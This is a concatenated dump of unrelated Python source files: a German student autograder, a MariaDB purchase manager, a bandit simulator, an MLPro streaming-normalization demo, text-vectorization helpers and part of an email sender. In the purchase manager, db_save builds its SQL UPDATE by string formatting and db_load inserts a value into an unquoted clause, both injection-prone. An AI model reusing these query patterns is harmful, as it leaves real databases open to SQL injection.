len(set(MatNr)) , \"Bei den Matrikelnummern kommt mindestens eine Nummer mehrfach vor!\"\n assert studentCount == len(set(Namen)) , \"Bei den Namen kommt mindestens ein Name mehrfach vor!\"\n\n ## Die Eintraege befinden sich in der Korrekten Form fuer die automatische\n ## Ueberpruefung\n if printList:\n print(\"\\n====================\")\n print(\"Aufgabe: %02i\" % (task))\n print(\"Gruppennummer: %02i\\n\" % (group))\n print(\"Matrikelnummer, Name\")\n print(\"--------------------\")\n for person in range(studentCount):\n d = students[person]\n print(\"%14i, %s %s\" % (d['matnr'], d['vorname'], d['nachname']))\n print(\"====================\\n\")\n return True\n\n ###########################################################################\n ## Einlesen der Python Uebungsaufgabe\n ##\n @staticmethod\n def ReadExercise(filename, chkPython=True):\n # Existenzcheck\n assert os.path.exists(filename)\n assert os.path.isfile(filename)\n # Einlesen der Datei\n codelines = open(filename, 'r').readlines()\n # Pruefen, ob die Datei nicht leer ist\n assert len(codelines) > 0\n # Optionale Pruefung, ob die Datei eine Python Datei ist.\n assert chkPython or codelines[0].find(\"#!/usr/bin/env python3\") > -1\n return codelines\n\n ###########################################################################\n ## Entfernt Zeilenkommentare\n ##\n @staticmethod\n def StripLineComments(codelines):\n assert isinstance(codelines, list)\n ret = []\n for line in codelines:\n # beginnt die Zeile nicht mit beliebig vielen Leerzeichen gefolgt\n # von \"#\", so wird diese an den Rueckgabewert angehaengt\n # Das entfernen von Kommentaren in der selben Zeile wie eine\n # Programmanweisung ist nicht so einfach, da man vorher\n # Pruefen muss, ob das \"#\"-Zeichen nicht innerhalb eines Strings\n # steht.\n if line.lstrip().find(\"#\") != 0:\n ret.append(line)\n return ret\n\n ###########################################################################\n ## Entfernt Leere Zeilen (Whitespaces koennen vorkommen)\n ##\n @staticmethod\n def StripBlankLines(codelines):\n assert isinstance(codelines, list)\n ret = []\n for line in codelines:\n # lstrip entfernt Whitespaces von Links inkl. \"\\n\"\n if len(line.lstrip()) != 0:\n ret.append(line)\n return ret\n\n ###########################################################################\n ## Entfernt aus der eingelesenen Pyton Datei alles nach\n ## if __name__ == \"__main__\":\n ## Vorher sollte StripLineComments angewendet werden!\n ##\n @staticmethod\n def StripIfMain (codelines):\n assert isinstance(codelines, list)\n ret = []\n r1 = re.compile(\"^\\s*if\\s+__name__\\s*==\\s*[\\\"']__main__[\\\"']\\s*:\")\n for line in codelines:\n # For-Schleife wird abgebrochen, wenn\n if len(r1.findall(line)) != 0:\n break\n ret.append(line)\n return ret\n\n ###########################################################################\n ## Gibt die Zeilennummern der Zeilen zurueck, auf die der Matchstring\n ## passt (funktioniert aehnlich wie find fkt bei Strings).\n ## Mit start und stop kann dabei das zu untersuchende Interval im Code\n ## eingeschraenkt werdn.\n ##\n @staticmethod\n def FindLines(pattern, codelines, start=None, stop=None, correctNumbering=True):\n assert isinstance(pattern, str) and len(pattern) > 0\n assert isinstance(codelines, list) and len(codelines) > 0\n assert isinstance(start, int) or start == None\n assert isinstance(stop, int) or stop == None\n assert len(codelines[start:stop]) > 0\n ret = []\n r1 = re.compile(pattern)\n correction = 0\n if correctNumbering:\n # Korrigiert die Zeilennummern bei start != None:\n correction = range(len(codelines))[start:stop][0]\n\n checklines = codelines[start:stop]\n for lnr in range(len(checklines)):\n if len(r1.findall(checklines[lnr])) > 0:\n ret.append(lnr + correction)\n return ret\n\n ###########################################################################\n ## Gibt ein Einrueckungsprofil zurueck.\n ##\n @staticmethod\n def GetIndentProfile(codelines, start=None, stop=None, tabsize=4):\n assert isinstance(codelines, list) and len(codelines) > 0\n assert isinstance(start, int) or start == None\n assert isinstance(stop, int) or stop == None\n assert isinstance(tabsize, int)\n assert len(codelines[start:stop]) > 0\n ret = {'indent':[], 'profile':[]}\n r1 = re.compile(Grading.IndentPattern)\n for line in codelines[start:stop]:\n ind = r1.findall(line)[0]\n ret['indent'].append(ind)\n ret['profile'].append(len(ind.replace(\"\\t\", \" \" * tabsize)))\n return ret\n\n ###########################################################################\n ## Vergleicht das Ergebnis der Testroutine mit einem Korrekturschluessel.\n ## Die Listen duerfen str, Zahlen oder Bool enthalten. Ist ein Fehler\n ## aufgetreten, so wird in result None Eingetragen.\n ## Stimmen die Laengen der Ergebnislisten nicht ueberein, dann wird\n ## result durch [None for p in masterresult] ersetzt.\n ## allowLessResults==True -> Fehlende Ergebnisse werden am Ende der\n ## result Liste durch None ergaenzt\n ## allowMoreResults==True -> Laenge von result wird auf die laenge von\n ## masterresult gekuerzt\n ##\n @staticmethod\n def CheckResult(result, masterresult, txtresult, allowLessResults=False, allowMoreResults=False, delim='@', filename='output', printresult=True):\n assert isinstance(result, list)\n assert isinstance(masterresult, list) and len(masterresult) > 0\n assert isinstance(txtresult, list) and len(txtresult) == len(result)\n assert isinstance(allowLessResults, bool)\n assert isinstance(allowMoreResults, bool)\n assert isinstance(delim, str) and len(delim) > 0\n assert isinstance(filename, str) and len(filename) > 0\n assert isinstance(printresult, bool)\n # Pruefe jeden Eintrag von result und masterresult auf den richtigen Datentyp\n for x in result:\n assert isinstance(x, (int,float,complex,str)) or x == None\n for x in masterresult:\n assert isinstance(x, (int,float,complex,str))\n\n # Resultat ggf. anpassen:\n lr = len(result)\n lt = len(txtresult)\n lm = len(masterresult)\n if lr < lm:\n if allowLessResults:\n result.extend([None for p in range(lm-lr)])\n txtresult.extend(['' for p in range(lm-lt)])\n else:\n result = [None for p in masterresult]\n txtresult.extend(['' for p in range(lm-lt)])\n if lr > lm:\n if allowMoreResults:\n result = result[:(lm-1)]\n else:\n result = [None for p in masterresult]\n fout = []\n\n # Vergleichen der Ergebnisse\n for i in range(lm):\n if result[i] == None or type(result[i]) != type(masterresult[i]):\n fout.append(-1)\n erg = \"Unerwarteter Fehler!\"\n elif result[i] == masterresult[i]:\n fout.append(1)\n erg = \" Bestanden \"\n else:\n fout.append(0)\n erg = \"Nicht Bestanden!\"\n if printresult:\n print(\"%3i. Test: %s (%s)\" %(i+1, erg, txtresult[i]))\n\n try:\n f = open(filename,'w')\n f.write(delim.join(list(map(str,fout))))\n f.close()\n except IOError as e:\n print(\"Fehler beim Schreiben der '%s' Datei.\\n\"%(filename), e)\n\n ###########################################################################\n ## Parser fuer Programmargumente\n ##\n @staticmethod\n def ParseCMD():\n parser = ap.ArgumentParser(description='Testscript for Autograder.')\n parser.add_argument('-d','--delimiter',dest='delimiter', default='@',\n help='Delimiter used to separate tests in the output file.' )\n parser.add_argument('-q','--quiet',dest='quiet', default=0, action='count',\n help='Produce no output except for errors (used in batchmode).')\n parser.add_argument('implfiles', nargs='+',\n help=\"Name of students' implemntation file(s), e. g. 'uebung.py'.\")\n args = parser.parse_args()\n # args hat folgende Eintraege:\n # args.delimiter <- Character\n # args.quiet <- Bool\n # args.implfiles <- Liste\n return args\n\n\n ###########################################################################\n ## Gibt den Quellcode von Zeile start bis stop (ohne stop) aus und markiert die\n ## Zeilennummern aus der Liste mit der Marke\n ##\n @staticmethod\n def PrintLines(codelines, marklist, marker=\"-->\", start=None, stop=None):\n assert isinstance(codelines, list) and len(codelines) > 0\n assert isinstance(marklist, list)\n assert isinstance(marker, str) and 0 < len(marker) < 4\n assert isinstance(start, int) or start == None\n assert isinstance(stop, int) or stop == None\n assert len(codelines[start:stop]) > 0\n\n NeedMarker = (len(marklist) > 0)\n lnr = range(len(codelines))[start:stop][0] + 1\n for line in codelines[start:stop]:\n if NeedMarker:\n if (lnr - 1) in marklist:\n m = marker\n else:\n m = ''\n print(\"%3s [%3d]: %s\"%(m,lnr,line),end='')\n else:\n print(\"[%3d]: %s\"%(lnr,line),end='')\n lnr += 1\n\n ###########################################################################\n ## Bestimmt das Ende des Codeblocks, der in Zeile startline beginnt.\n ## Typischer weise wird eine Funktions- oder Klassendefinition als line\n ## gewaehlt. Zurueckgegeben wird die Zeile, bevor der naechste Block\n ## beginnt. In Skiplines wird eine Liste von Zeilen angegeben, die\n ## nicht betrachtet werden sollen (z.B. Leerzeilen und Zeilenkommentare).\n ## Die Funktion stuetzt sich auf das Ergebnis von GetIndetProfile\n @staticmethod\n def FindBlock(startline, profile, skiplines):\n assert isinstance(startline, int) and startline >= 0\n assert isinstance(profile, list) and len(profile) > startline\n assert isinstance(skiplines, list)\n assert startline not in skiplines\n\n endline = startline\n startIndent = profile[startline]\n for lnr in range(startline+1, len(profile)):\n if lnr in skiplines:\n continue\n\n if profile[lnr] > startIndent:\n endline = lnr\n else:\n break\n return endline\n\n ###############################################################################\n ## Parsen des Codes\n ##\n @staticmethod\n def ParseCode(filename):\n assert isinstance(filename, str)\n ret={}\n # Einlesen der Datei und entfernen des 'if __name__ ==...' Blocks\n ret['codelines'] = Grading.StripIfMain(Grading.ReadExercise(filename))\n # Einrueckungsprofil bestimmen\n ret['indentprofile'] = Grading.GetIndentProfile(ret['codelines'])\n # Interessante Codemuster suchen\n ret['patternClass'] = Grading.FindLines(Grading.ClassPattern, ret['codelines'])\n ret['patternDef'] = Grading.FindLines(Grading.DefPattern, ret['codelines'])\n ret['patternImport'] = Grading.FindLines(Grading.ImportPattern, ret['codelines'])\n ret['patternFromImport'] = Grading.FindLines(Grading.FromImportPattern, ret['codelines'])\n ret['patternBlankLine'] = Grading.FindLines(Grading.BlankLinePattern, ret['codelines'])\n ret['patternLineComment'] = Grading.FindLines(Grading.LineCommentPattern, ret['codelines'])\n ret['patternAufgabe'] = Grading.FindLines(Grading.AufgabePattern, ret['codelines'])\n ret['patternStudentenLD'] = Grading.FindLines(Grading.StudentenLDPattern, ret['codelines'])\n ret['patternStudentenAP'] = Grading.FindLines(Grading.StudentenAPPattern, ret['codelines'])\n ret['patternGruppe'] = Grading.FindLines(Grading.GruppenPattern, ret['codelines'])\n\n # Bestimme die Codebloecke\n ret['ClassBlocks'] = []\n for startline in ret['patternClass']:\n endline = Grading.FindBlock(startline, ret['indentprofile']['profile'], ret['patternBlankLine'] + ret['patternLineComment'])\n ret['ClassBlocks'].append({'startline':startline,'endline':endline})\n ret['DefBlocks'] = []\n for startline in ret['patternDef']:\n endline = Grading.FindBlock(startline, ret['indentprofile']['profile'], ret['patternBlankLine'] + ret['patternLineComment'])\n ret['DefBlocks'].append({'startline':startline,'endline':endline})\n\n # Bestimme die Zeilen, die innerhalb der Klassen und Definitionen liegen\n # Alle Zeilen auserhalb stellen Zeilen mit potentziellem Schadcode dar\n s = set()\n for rng in ret['ClassBlocks'] + ret['DefBlocks']:\n s = s.union(range(rng['startline'], rng['endline']+1))\n ret['ClassDefCover'] = list(s)\n return ret\n\n ###############################################################################\n ## Vortest: - Prueft Studenten, Gruppennummer, Aufgabe\n ## - Prueft ob zu testende Strukturen definiert sind\n ## - Prueft erlaubten Strukturen ausserhalb von Klassen und Funktionen\n @staticmethod\n def PreTest(parsedCode, toTestPatterns, allowedStructuresPatterns, quiet):\n assert isinstance(parsedCode, dict)\n assert isinstance(toTestPatterns, list) and len(toTestPatterns) > 0\n assert isinstance(allowedStructuresPatterns, list)\n \n # Pruefe zu testende Strukturen\n for ptrn in toTestPatterns:\n if len(Grading.FindLines(ptrn,parsedCode['codelines'])) == 0:\n if not quiet:\n raise AssertionError(\"Das Muster '%s' fuer eine zu testende Struktur wurde nicht gefunden.\\n\"%(ptrn))\n return False\n \n # Pruefe auf erlaubte Strukturen\n s = set(range(len(parsedCode['codelines']))) # Alle Zeilennummern des Codes\n # Grundsatzlich sind Klassen- und Funktionsdefinitionen, Studenten, Gruppennummer\n # Aufgabe, Leerzeilen, Zeilenkommentare erlaubt.\n s -= set(parsedCode['ClassDefCover'])\n s -= set(parsedCode['patternStudentenLD'])\n s -= set(parsedCode['patternStudentenAP'])\n s -= set(parsedCode['patternGruppe'])\n s -= set(parsedCode['patternAufgabe'])\n s -= set(parsedCode['patternBlankLine'])\n s -= set(parsedCode['patternLineComment'])\n # Nun noch die explizit erlaubten Strukturen\n for ptrn in allowedStructuresPatterns:\n s -= set(Grading.FindLines(ptrn,parsedCode['codelines']))\n # s sollte jetzt leer sein.\n if len(s) > 0:\n if not quiet:\n Grading.PrintLines(parsedCode['codelines'],list(s))\n raise AssertionError(\"Der Code Enthaelt nicht erlaubte Strukturen!\")\n return False\n\n # Pruefe die Eintraege fuer Studenten, Gruppen und Aufgabennummer\n if len(parsedCode['patternGruppe']) == 0:\n if not quiet:\n raise AssertionError(\"Gruppennummer ist nicht definiert!\")\n return False\n toExecute = list(map(lambda x: parsedCode['codelines'][x], parsedCode['patternGruppe']))\n if len(parsedCode['patternAufgabe']) == 0:\n if not quiet:\n raise AssertionError(\"Aufgabennummer ist nicht definiert!\")\n return False\n toExecute += list(map(lambda x: parsedCode['codelines'][x], parsedCode['patternAufgabe']))\n if len(parsedCode['patternStudentenLD']) == 0:\n if not quiet:\n raise AssertionError(\"Studentenliste ist nicht definiert!\")\n return False\n toExecute += list(map(lambda x: parsedCode['codelines'][x], parsedCode['patternStudentenLD']))\n if len(parsedCode['patternStudentenAP']) == 0:\n if not quiet:\n raise AssertionError(\"Es wurden keine Studenten eingetragen!\")\n return False\n toExecute += list(map(lambda x: parsedCode['codelines'][x], parsedCode['patternStudentenAP']))\n toExecute += \"\\nfrom Grading.Grading import *\\n\"\n toExecute += \"Grading.CheckStudents(Studenten, Gruppennummer, Aufgabe,printList=%s)\\n\"%(str(not quiet))\n try:\n G = {} # Globaler Scope fuer die Ausfuehrung\n exec(''.join(toExecute),G)\n except Exception as e:\n if not quiet:\n raise AssertionError(e)\n return False\n # Alle Tests bestanden\n return True\n\n","sub_path":"uebung03/Grading/Grading.py","file_name":"Grading.py","file_ext":"py","file_size_in_byte":22612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"563390715","text":"##############################################################################################\n# Manager class of Purchase which deals with purchases saving / loading / setting / deleting #\n##############################################################################################\nfrom Manager import Manager\nfrom Models.Purchase import Purchase\nimport mysql.connector as mariadb\nimport pymysql\nimport sys\n\n\nclass PurchaseManager(Manager):\n\n def __init__(self, usr=\"toor\", psswd=\"toor\"):\n self.table = \"Purchase\"\n Manager.__init__(self, self.table, usr, psswd)\n\n def db_create(self, id, ingredients):\n \"\"\"\n Create a purchase in the database from an id_shoppinglist and a list of [Ingredient, quantity]\n :param id : the id of the associated ShoppingList\n :param ingredients : the double list of [Ingredient, quantity] of the purchase\n :return: True if the purchase has been successfully created else, False\n \"\"\"\n connect = self.get_connector()\n cursor = connect.cursor(prepared=True)\n try:\n for ingredient in ingredients:\n cursor.execute(\"INSERT INTO `{}` (id_shoppinglist, id_ingredient, quantity) VALUES (?, ?, ?)\".format(self.table),\n (str(id), str(ingredient[0].get_id()), str(ingredient[1])))\n connect.commit()\n except mariadb.errors.IntegrityError:\n sys.stderr.write(\"You may forgot constraint on foreign keys.\")\n return False\n except mariadb.Error:\n sys.stderr.write(\"An error occurred with the purchase creating.\")\n return False\n connect.close()\n return True\n\n def db_create_from_obj(self, purchase):\n \"\"\"\n Create a purchase in the database from a Purchase object\n :param purchase : the Purchase object to create in database\n :return: True if success else False\n \"\"\"\n self.check_managed(purchase)\n connect = self.get_connector()\n cursor = connect.cursor(prepared=True)\n try:\n for ingredient in purchase.get_ingredients():\n cursor.execute(\"INSERT INTO `{}` (id_shoppinglist, id_ingredient, quantity) VALUES (?, ?, ?)\"\n .format(self.table), (purchase.get_id_shoppinglist(), ingredient[0].get_id_ingredient(), ingredient[1]))\n connect.commit()\n connect.close()\n except mariadb.errors.IntegrityError:\n sys.stderr.write(\"You may forgot constraint on foreign keys.\")\n return False\n except mariadb.Error:\n sys.stderr.write(\"An error occurred with the purchase creating.\")\n return False\n return True\n\n def db_delete(self, id_shoppinglist):\n \"\"\"\n Delete a purchase by its id_shoppinglist from the database (soft delete)\n :param id_shoppinglist : the id of the Purchase to delete\n :return: False an error occurred else True\n \"\"\"\n try:\n connect = self.get_connector()\n cursor = connect.cursor(prepared=True)\n cursor.execute(\"UPDATE `{}` SET deleted = 1 WHERE id_shoppinglist = %s\".format(self.table), (id_shoppinglist,))\n connect.commit()\n connect.close()\n except mariadb.Error:\n sys.stderr.write(\"An error occurred with the purchase deleting.\")\n return False\n return True\n\n def db_save(self, purchase):\n \"\"\"\n Save a Purchase object into database\n :param purchase : the object to save\n :return: True if success, otherwise False\n \"\"\"\n self.check_managed(purchase)\n try:\n connect = self.get_connector()\n cursor = connect.cursor()\n for ingredient in purchase.get_ingredients():\n cursor.execute('UPDATE `{}` SET `id_ingredient` = \"{}\", `quantity` = \"{}\" WHERE `id_shoppinglist` = \"{}\"'\n .format(self.table, ingredient[0].get_id_ingredient(), ingredient[1], purchase.get_id_shoppinglist()))\n connect.commit()\n connect.close()\n except mariadb.Error:\n sys.stderr.write(\"An error occurred with the object saving.\")\n return False\n return True\n\n def db_load(self, id):\n \"\"\"\n From an id_shoppinglist, load a Purchase object from the database\n :param id : the id associated to the purchase to load\n :return: the Purchase object loaded, None if not in database\n \"\"\"\n connect = self.get_connector()\n cursor = connect.cursor(dictionary=True)\n cursor.execute(\"SELECT Purchase.id_shoppinglist, Purchase.id_ingredient, Ingredient.name_ingredient, Purchase.deleted FROM `{}` \"\n \"INNER JOIN Ingredient ON Ingredient.id_ingredient = Purchase.id_ingredient \"\n \"WHERE id_shoppinglist = {} AND Purchase.deleted = 0\".format(self.table, pymysql.escape_string(str(id))))\n answ = cursor.fetchall()\n connect.close()\n return Purchase().init(answ) if answ else None\n\n @staticmethod\n def check_managed(item):\n \"\"\"\n Check if the parameter is from the type of the managed item, if not raise ValueError\n :param item : the item to verify\n \"\"\"\n if not isinstance(item, Purchase):\n raise ValueError('The parameter must be a Purchase instance.')","sub_path":"Controllers/PurchaseManager.py","file_name":"PurchaseManager.py","file_ext":"py","file_size_in_byte":5510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"615820614","text":"import numpy as np\r\nimport random\r\n\r\nclass Bandit():\r\n\t# param = [True/False, number of obs in distribution, num objective, max value]\r\n\tdef __init__(self, vectors=False, probs=False, param=False):\r\n\t\tself.n = 1\r\n\t\tself.param = param\r\n\r\n\t\tif self.param == False:\r\n\t\t\tself.vectors = vectors\r\n\t\t\tself.probs = probs\r\n\t\telse:\r\n\t\t\tself.generateRandomBandit()\r\n\t\t\t\r\n\r\n\tdef pull_arm(self):\r\n\t\t\t\r\n\t\treturn self.vectors[np.random.choice(len(self.vectors), 1, replace=False, p=self.probs)[0]]\r\n\r\n\tdef generateRandomBandit(self):\r\n\t\tobjectives = self.param[2]\r\n\t\tmass = 1\r\n\t\tobs = []\r\n\t\tprobs = []\r\n\t\tnumber = random.randint(2, self.param[1])\r\n\t\tfor i in range(self.param[1]):\r\n\t\t\tvec = []\r\n\t\t\tfor j in range(objectives):\r\n\t\t\t\tvec.append(random.randint(0,self.param[3]))\r\n\t\t\tprobs.append(random.randint(1,self.param[3]))\r\n\t\t\tobs.append(vec)\r\n\r\n\t\tsum_probs = np.sum(probs)\r\n\t\tprobs = probs/sum_probs\r\n\t\tself.vectors = obs\r\n\t\tself.probs = probs\r\n","sub_path":"Python/MOMAB/Stochastic Dominance MOMAB/envs/Bandit.py","file_name":"Bandit.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"128167387","text":"## -------------------------------------------------------------------------------------------------\n## -- Project : MLPro - A Synoptic Framework for Standardized Machine Learning Tasks\n## -- Package : mlpro.oa.examples.howto_oa_002_normalization_of_streamed_data_minmax\n## -- Module : howto_oa_pp_001_normalization_of_streamed_data_minmax.py\n## -------------------------------------------------------------------------------------------------\n## -- History :\n## -- yyyy-mm-dd Ver. Auth. Description\n## -- 2022-12-07 0.0.0 LSB Creation\n## -- 2022-12-09 1.0.0 LSB Release\n## -- 2022-12-13 1.0.1 LSB Refctoring\n## -- 2022-12-31 1.0.2 LSB Using native stream\n## -- 2023-02-23 1.0.3 DA Little refactoring\n## -------------------------------------------------------------------------------------------------\n\n\"\"\"\nVer. 1.0.3 (2023-02-23)\n\nThis module is an example of adaptive normalization of streaming data using MinMax Normalizer\n\nYou will learn:\n\n1. Creating tasks and workflows in MLPro-OA.\n\n2. Registering Event handlers for events and tasks.\n\n3. Normalizing streaming data using MinMax Normalizer, with boundary detector as a predecessor task.\n\n\"\"\"\n\nfrom mlpro.oa.streams.tasks.normalizers import *\nfrom mlpro.oa.streams.tasks.boundarydetectors import *\nfrom mlpro.oa.streams import *\n\n\n\n\n\n\n## -------------------------------------------------------------------------------------------------\n## -------------------------------------------------------------------------------------------------\nclass MyAdaptiveScenario(OAScenario):\n\n C_NAME = 'Dummy'\n\n\n## -------------------------------------------------------------------------------------------------\n def _setup(self, p_mode, p_visualize:bool, p_logging):\n # 1 Import a stream from OpenML\n mlpro = StreamProviderMLPro(p_logging=p_logging)\n stream = mlpro.get_stream(p_name=StreamMLProRnd10D.C_NAME,\n p_mode=p_mode,\n p_visualize=p_visualize,\n p_logging=p_logging)\n # 2 Set up a stream workflow based on a custom stream task\n\n # 2.1 Creation of a task\n TaskBoundaryDetector = BoundaryDetector(p_name='Demo Boundary Detector', p_ada=True, p_visualize=True,\n p_logging=p_logging)\n TaskNormalizerMinMax = NormalizerMinMax(p_name='Demo MinMax Normalizer', p_ada=True, p_visualize=True,\n p_logging=p_logging)\n\n # 2.2 Creation of a workflow\n workflow = OAWorkflow(p_name='wf1',\n p_range_max=OAWorkflow.C_RANGE_NONE, # StreamWorkflow.C_RANGE_THREAD,\n p_visualize=p_visualize, \n p_logging=p_logging)\n\n # 2.3 Addition of the task to the workflow\n workflow.add_task(p_task = TaskBoundaryDetector)\n workflow.add_task(p_task = TaskNormalizerMinMax)\n\n\n # 3 Registering event handlers for normalizer on events raised by boundaries\n TaskBoundaryDetector.register_event_handler(BoundaryDetector.C_EVENT_ADAPTED, TaskNormalizerMinMax.adapt_on_event)\n\n\n # 3 Return stream and workflow\n return stream, workflow\n\n\nif __name__ == \"__main__\":\n # 1.1 Parameters for demo mode\n cycle_limit = 100\n logging = Log.C_LOG_ALL\n visualize = True\n\nelse:\n # 1.2 Parameters for internal unit test\n cycle_limit = 2\n logging = Log.C_LOG_NOTHING\n visualize = False\n\n\n# 2 Instantiate the stream scenario\nmyscenario = MyAdaptiveScenario(p_mode=Mode.C_MODE_REAL,\n p_cycle_limit=cycle_limit,\n p_visualize=visualize,\n p_logging=logging)\n\n\n\n\n# 3 Reset and run own stream scenario\nmyscenario.reset()\n\nif __name__ == '__main__':\n myscenario.init_plot()\n input('Press ENTER to start stream processing...')\n\nmyscenario.run()\n\nif __name__ == '__main__':\n input('Press ENTER to exit...')","sub_path":"src/mlpro/oa/examples/howto_oa_pp_001_normalization_of_streamed_data_minmax.py","file_name":"howto_oa_pp_001_normalization_of_streamed_data_minmax.py","file_ext":"py","file_size_in_byte":3799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"458391705","text":"import sys\nimport functools\nimport os\n\nif(len(sys.argv)!=2):\n\tprint(\"Invalid args\")\n\tsys.exit()\nif(not os.path.exists(sys.argv[1])):\n\tprint(\"Invalid file\")\n\tsys.exit()\nif(sys.argv[1].split(\".\")[-1]!=\"txt\"):\n\tprint(\"Only txt\")\n\tsys.exit()\n\ninfile=open(sys.argv[1])\nworddic={}\nlen_list=[]\nfor line in infile :\n\tmyline=line.split()\n\tfor words in myline:\n\t\tw=worddic.get(words,0)\n\t\tworddic[words]=w+1\nprint(worddic)\n\nsorteddic=sorted(worddic.items(),key=lambda x:x[1],reverse=True)\nprint(sorteddic[:10])\nfor word in sorteddic:\n\tlen_list.append(len(word[0]))\n\tprint(word[0] ,\"len \",len(word[0]))\n#print(len_list)\n#mysum=functools.reduce(lambda x,y:x+y,len_list)\nmysum=functools.reduce(lambda x,y:x+y,len_list)\nprint(mysum/len(len_list))\nprint([x**2 for x in len_list if x%2!=0])\n\n\n\n\n\n","sub_path":"mFFileOp.py","file_name":"mFFileOp.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"540743186","text":"import gensim\nimport torch\nimport torch.nn as nn\nimport numpy as np\nfrom gensim import corpora, models\nfrom sentence_transformers import SentenceTransformer\nfrom typing import List\nfrom torch.autograd import Variable\nfrom library import DS_PATH\n\nmodel_list = [\n \"distilbert-base-nli-mean-tokens\", # english only\n \"stsb-xlm-r-multilingual\" # bahasa indonesia included\n]\n\ndef get_SBERT_vectorized(\n data: List[str],\n model_name: str = \"distilbert-base-nli-mean-tokens\"\n) -> List[List[float]]:\n print(f'''Getting vector representations for SBERT using \"{model_name}\" ...''')\n model = SentenceTransformer(model_name)\n vec = np.array(model.encode(data, show_progress_bar=False))\n\n print('Getting vector representations for SBERT. Done!')\n return vec\n\ndef get_LDA_vectorized(data: List[List[str]], lda_model = None, debug = True):\n if not lda_model:\n print(\"Please include LDA Model\")\n return\n\n if debug: print('Getting vector representations for LDA ...')\n def get_vec_lda(model, corpus, k):\n \"\"\"\n Get the LDA vector representation (probabilistic topic assignments for all documents)\n :return: vec_lda with dimension: (n_doc * n_topic)\n \"\"\"\n n_doc = len(corpus)\n vec_lda = np.zeros((n_doc, n_topics))\n for i in range(n_doc):\n # get the distribution for the i-th document in corpus\n for topic, prob in model.get_document_topics(corpus[i]):\n vec_lda[i, topic] = prob\n\n return vec_lda\n\n if debug: print(\"-- calculating Corpus\")\n bow_corpus = [lda_model.id2word.doc2bow(doc) for doc in data]\n tfidf = models.TfidfModel(bow_corpus)\n corpus = tfidf[bow_corpus]\n\n n_topics = 0\n for i, topic in lda_model.print_topics(-1):\n if debug: print(topic)\n n_topics += 1\n\n vec = get_vec_lda(lda_model, corpus, n_topics)\n if debug: print('Getting vector representations for LDA. Done!')\n return vec\n\ndef concat_lda_sbert(lda_vec, sbert_vec):\n return np.c_[lda_vec * 15, sbert_vec]\n\nclass Autoencoder(nn.Module):\n\n def __init__(self, input_vec):\n super(Autoencoder, self).__init__()\n\n self.encoder = nn.Sequential(\n nn.Linear(input_vec, 32),\n nn.ReLU(True))\n self.decoder = nn.Sequential(\n nn.Linear(32, input_vec),\n nn.ReLU(True))\n\n def forward(self,x):\n x = self.encoder(x)\n x = self.decoder(x)\n return x\n\ndef get_autoencoder(data):\n # print(\"Check GPU Availability\")\n # print(K.tensorflow_backend._get_available_gpus())\n\n ae_model = Autoencoder(data.shape[1]).cuda()\n\n distance = nn.MSELoss()\n optimizer = torch.optim.Adam(ae_model.parameters(),lr=0.0001)\n\n print('Fitting Autoencoder ...')\n num_epochs = 20\n data = torch.from_numpy(data).float()\n for epoch in range(num_epochs):\n for vect in data[:min(50000, len(data))]:\n vect = Variable(vect).cuda()\n # ===================forward=====================\n output = ae_model(vect)\n loss = distance(output, vect)\n # ===================backward====================\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n # ===================log========================\n print('epoch [{}/{}], loss:{:.4f}'.format(epoch+1, num_epochs, loss.item()))\n print('Fitting Autoencoder Done!')\n\n# return ae_model.encoder(data.cuda()).cpu().detach().numpy()\n return ae_model\n\ndef append_vector(vector, filepath: str):\n print(\"Saving Vectors...\")\n with open(f\"{DS_PATH}/{filepath}\", \"ab\") as f:\n np.savetxt(f, vector, delimiter=',', fmt='%s')\n\ndef concatenate_autoencode(lda_vect, sbert_vec, filepath: str):\n vector = concat_lda_sbert(lda_vect, sbert_vec)\n\n autoencoder_model = get_autoencoder(vector)\n\n vector = autoencoder_model.encoder(torch.from_numpy(vector).float().cuda()).cpu().detach().numpy()\n append_vector(vector, filepath)\n\ndef sbert_vectorize_and_save(\n data: List[str],\n sbert_model: str = None,\n savepath: str = None\n) -> List[List[float]]:\n if not sbert_model:\n print(\"Please Specify SBERT Model name!\")\n return\n\n print(f\"Data length : {len(data)}\")\n print(\"Getting SBERT Vectors\")\n vectors = get_SBERT_vectorized(data, sbert_model)\n print(f\"Vectors shape : {vectors.shape}\")\n\n if savepath:\n print(\"-- savings SBERT vec...\")\n with open(f\"{DS_PATH}/{savepath}\", \"wb\") as f:\n np.savetxt(f, vectors, delimiter=',', fmt='%s')\n else:\n print(\"Not Savings vectors\")\n\n return vectors\n\ndef lda_vectorize_and_save(\n data: List[List[str]],\n lda_model = None,\n savepath: str = None\n) -> List[List[float]]:\n if not lda_model:\n print(\"Please Specify LDA Model!\")\n return\n\n print(f\"Data length : {len(data)}\")\n print(\"Getting LDA Vectors\")\n vectors = get_LDA_vectorized(data, lda_model)\n print(f\"Vectors shape : {vectors.shape}\")\n\n if savepath:\n print(\"-- savings LDA vec...\")\n with open(f\"{DS_PATH}/{savepath}\", \"wb\") as f:\n np.savetxt(f, vectors, delimiter=',', fmt='%s')\n else:\n print(\"Not Savings vectors\")\n\n return vectors\n","sub_path":"library/vectorization.py","file_name":"vectorization.py","file_ext":"py","file_size_in_byte":5257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"507588546","text":"import boto3\nimport json\n\nimport os\n\nfrom flask import render_template\nfrom flask.ext.mail import Message\n\nfrom app import create_app\n\nfrom . import mail\n\n\ndef send_email_func(event=None, context=None):\n if not event:\n event = dict()\n\n recipient = event.get('recipient')\n subject = event.get('subject')\n template = event.get('template')\n\n kwargs = [{k: v} for k, v in event.items() if k not in ['recipient', 'subject', 'template']]\n\n app = create_app(os.getenv('FLASK_CONFIG') or 'default')\n with app.app_context():\n msg = Message(\n app.config['EMAIL_SUBJECT_PREFIX'] + ' ' + subject,\n sender=app.config['EMAIL_SENDER'],\n recipients=[recipient])\n msg.body = render_template(template + '.txt', context=kwargs)\n msg.html = render_template(template + '.html', context=kwargs)\n 